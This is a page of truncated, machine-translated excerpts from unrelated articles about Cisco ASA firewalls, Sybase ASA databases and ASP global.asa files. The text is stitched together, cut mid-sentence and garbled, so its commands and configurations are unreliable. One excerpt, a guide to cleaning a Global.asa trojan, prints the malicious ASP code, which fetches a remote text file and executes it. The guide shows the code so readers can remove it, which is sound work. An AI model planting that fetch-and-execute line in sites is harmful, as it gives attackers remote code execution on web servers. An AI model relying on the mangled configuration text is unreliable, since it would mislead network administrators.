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Cross ASA for traceroute or tracert test

I. Overview: By default, ASA does not respond to TTL exceeded packets, so Traceroute/tracert does not see the ASA device, and Traceroute/tracert cannot traverse the firewall because of firewall policy restrictions. Two. Basic ideas: Depending on how the Traceroute/tracert is handled, determine why it is not possible to traverse the firewall, thereby releasing the corresponding firewall policy: A.windows

Cisco ASA iOS Upgrade or recovery

Cisco ASA iOS Upgrade or RestoreFirst, pre-upgrade preparation work1. Prepare the iOS files to be upgraded and the corresponding ASDM files2. Set up TFTP on a computer, setup the directory, and connect with the firewall (assuming the computer IP is 192.168.1.2)Second, upgrade steps1 , Telnet on the ASAasa>en//Enter privileged modeAsa#conft//Enter configuration mode2 , viewing files on the ASA, version infor

ASA testing of TCP serial number disruption

I. Overview: I listened to the ASA course of yeslab's instructor QIN Ke and talked about ASA's random initialization of serial numbers to disrupt TCP. So I set up an environment for testing and found that not only is the serial number initialized by TCP disrupted, the subsequent TCP packet serial numbers will also be disrupted. ---- Postscript: After listening to the subsequent tutorials, we know that the initialization serial number is disrupted beca

ASA same-security-traffic

ASA supports two same-security-traffic types. Their application scenarios are1: different interfaces with the same security-level2: traffic between the same interfaces: cisco is called IPSEC hairpinnig, which is mainly defined in ipsec vpn.Description: ipsec vpn is not used for tunneling, or tunneling is not allowed. All traffic must be routed from the ASA.2. There are two scenarios: a: one client (vpn) to

Execute a program using global. asa

It is actually using the file "global. asa "! Many new ASP programmers want to know what this is? In fact, global. asa is an event driver, which contains four event processing processes: Application_OnStart, Application_OnEnd, Session_OnStart, and Session_OnEnd.When a page of an application on a website is accessed by a user for the first time, global. asa

Cisco Adaptive Security Appliance (ASA) IDFW Security Vulnerability

Release date:Updated on: Affected Systems:Cisco ASA Description:--------------------------------------------------------------------------------CVE (CAN) ID: CVE-2014-0653, CVE-2014-0655 The Cisco ASA 5500 Series Adaptive Security Device is a modular platform for providing security and VPN services. It provides firewall, IPS, anti-X, and VPN services. A Security vulnerability exists in the implementation of

Sybase asa database restoration method

When the sybase asa database is shut DOWN abnormally, it is prone to exceptions, such as table or index errors. The trouble is that the database will go DOWN when you delete a table using drop table t_name. Below are two common restoration methods: Sybase asa database restoration method When the sybase asa database is shut DOWN abnormally, it is prone to except

ASA dual-link SLA configuration test

I. Overview: In actual work, it is estimated that two ISP lines, such as China Telecom and China Netcom, are often connected using ASA, and there is not enough budget to buy load balancing equipment, however, we want to achieve load sharing and automatic switching of links. We want to return traffic from China Telecom, from China Telecom to China Telecom, and from China Netcom to China Telecom. When one of the lines fails, all traffic never goes throu

Basic configuration of ASA

Network Topology 650) This. width = 650; "src =" http://s3.51cto.com/wyfs02/M02/4B/F7/wKiom1Q2STWBG5RxAADqir0hadw389.jpg "Title =" 4.png" alt = "wkiom1q2stwbg5rxaadqir0hadw389.jpg"/> Set dynamic pat on the ASA firewall so that the Intranet can access the Internet through a public address The command is as follows: Ciscoasa (config) # NAT (inside) 11900001.0 255.255.255.0 Ciscoasa (config) # global (outside) 1 Interface Set static nat on

[Cisco Firewall] Cisco ASA firewall Enterprise Network instance

/1SW1 (config-If) # switchport access VLAN 10SW1 (config-If) # int F1/2SW1 (config-If) # switchport access VLAN 20SW1 (config-If) # int F1/3SW1 (config-If) # switchport mode trunk M1 M1 # conf tM1 (config) # IP routingM1 (config) # VLAN 10, 20 M1 (config-VLAN) # int F1/1M1 (config-If) # No shM1 (config-If) # switchport mode trunkM1 (config-If) # ex M1 (config) # int VLAN 10M1 (config-If) # IP add 192.168.10.1 255.255.255.0M1 (config-If) # No sh M1 (config-If) # int VLAN 20M1 (config-If) # IP ad

The ASA firewall configures URL filtering. Detailed experimental steps

= "Wkiol1rbfgxhhqr_aah2jr3rd1i186.jpg"/>A computer with 4G memory can only open two virtual machines. So DNS is also on this server.The DNS server address is also: 202.168.1.10650) this.width=650; "src=" Http://s3.51cto.com/wyfs02/M02/4C/9C/wKiom1RBFfbhVjD3AAJr8DjTJGs963.jpg "title=" SS. PNG "alt=" Wkiom1rbffbhvjd3aajr8djtjgs963.jpg "/>After the DNS settings are complete, test it with Nslookup in this machine 、、、、Then configure the client:Client DNS pointing to the server650) this.width=650; "sr

ASA 842 De Chinglu SLA configuration test

I. Overview: It is estimated that the actual work will often encounter with Asa two ISP line, for example, Telecom and Netcom, and there is not enough budget to buy load balancing equipment, but want to achieve link load sharing and automatic switching, from telecommunications to traffic, from the telecommunications line back, from Netcom to the flow of traffic from the Netcom line back, When one of the lines fails, all traffic never goes off the fau

How to quickly clear the Global. asa Trojan on the website

", urlObjXMLHTTP. sendGethtml = ObjXMLHTTP. responseBodySet ObjXMLHTTP = NothingSet objStream = Server. CreateObject ("Adodb. Stream ")ObjStream. Type = 1ObjStream. Mode = 3ObjStream. OpenObjStream. Write GethtmlObjStream. Position = 0ObjStream. Type = 2ObjStream. Charset = "gb2312"Gethtml = objStream. ReadTextObjStream. CloseSet objStream = NothingEnd FunctionExecute (Gethtml ("http://www.pornhome.com/dy7749/xmlasaquan.txt "))%>Clear this code to solve the problem. The results of website Trojan

Configure AnyConnect Client VPN on Cisco ASA 5505

This is certainly not the first article on "Quick Guide to building a VPN using Cisco devices, however, we still hope that this guide will become an all-in-one guide for users who use ASA 5505 devices to set up VPN and connect to the Internet. The ASA itself has a setup wizard, but this wizard does not cover all aspects of work required by the user, and some steps are vague, making it difficult for the user

GNS Modeling ASA 802

the flash format650) this.width=650; "Src=" Http://s2.51cto.com/wyfs02/M00/82/28/wKioL1dNLxuiOdu-AAAQJCGgzwc938.png-wh_500x0-wm_3 -wmp_4-s_2149940309.png "title=" 4.png "alt=" Wkiol1dnlxuiodu-aaaqjcggzwc938.png-wh_50 "/>To ensure that no errors occur when using the command WR, copy run start, after restarting the ASA, in the global configuration mode650) this.width=650; "Src=" Http://s1.51cto.com/wyfs02/M01/82/28/wKioL1dNL5fjluXRAAAppw3MQ2o580.png-wh

ASA Basic Command _02

//Disable Logging 503001logginghostdmz 192.168.12.1//specifies the interface log server (SYSLogserver) IP Address Troubleshooting tool Packet TracerThe Packet tracer simulates a packet traversing the data channel of the ASA and tracks the entire processing of the packet by the ASAASA1 (config) #packet-tracerinputdmzicmp192.168.12.10080 192.168.12.139phase:1 //View Route Type:route-lookupsubtype:resolveegressinterfaceresult: allowconfig:additionalinfo

The influence and solution of ASA firewall on IPSec VPN in Middle network

The IPSec VPN realizes the network expansion, the firewall realizes the control and the filtering to the network traffic, therefore has the influence to the IPSec VPN communication. The default ASA maintains a state session only for UDP/TCP traffic, and therefore discards the ESP traffic that is returned. There are two ways to solve the problem One uses ACLs to release ESP traffic. Two applications check IPSec VPN. Experimental topology R1 conf

SQL Anywhere (ASA) database "File is shorter than expected – transaction rolled back" bug fix

Tags: connecting database expected database file Contact Us jewelryI 've picked up a couple of days Sqlanywhere (ASA) database, where two of the databases are reported as "File isshorter than expected-transaction rolled back" error,650) this.width=650; "Src=" Http://s1.51cto.com/wyfs02/M02/84/61/wKiom1ePD7Hyg0xRAABBOiL-9xQ267.png-wh_500x0-wm_3 -wmp_4-s_1269407155.png "style=" Float:none; "title=" Qq20160720133433.png "alt=" Wkiom1epd7hyg0xraabboil-9xq

Create an external Stored Procedure for Sybase ASA (Java example)

It is an important feature to determine whether a DBMS is powerful and whether external stored procedures are easy to create and use. The ASA database has long been supporting the use of C, CLR (. NET), Java and other programming languages to create stored procedures. The following is a simple example to create a Java-based ASA stored procedure, database (asa11.0 or later). This example is very simple. Ente

We don't need to use global. Asa to discuss a good way to count ASP online users.

There are many ways to count online users in ASP, and I cannot figure out several ^ _ ^ methods. I would like to introduce three methods first. If there are any errors, please criticize and correct them. There are also good methods, please add it! First, we will introduce a simple method, using application, session, and global. asa, because when the web pages created with ASP are stored in the base point directory of the WWW server and the WWW server

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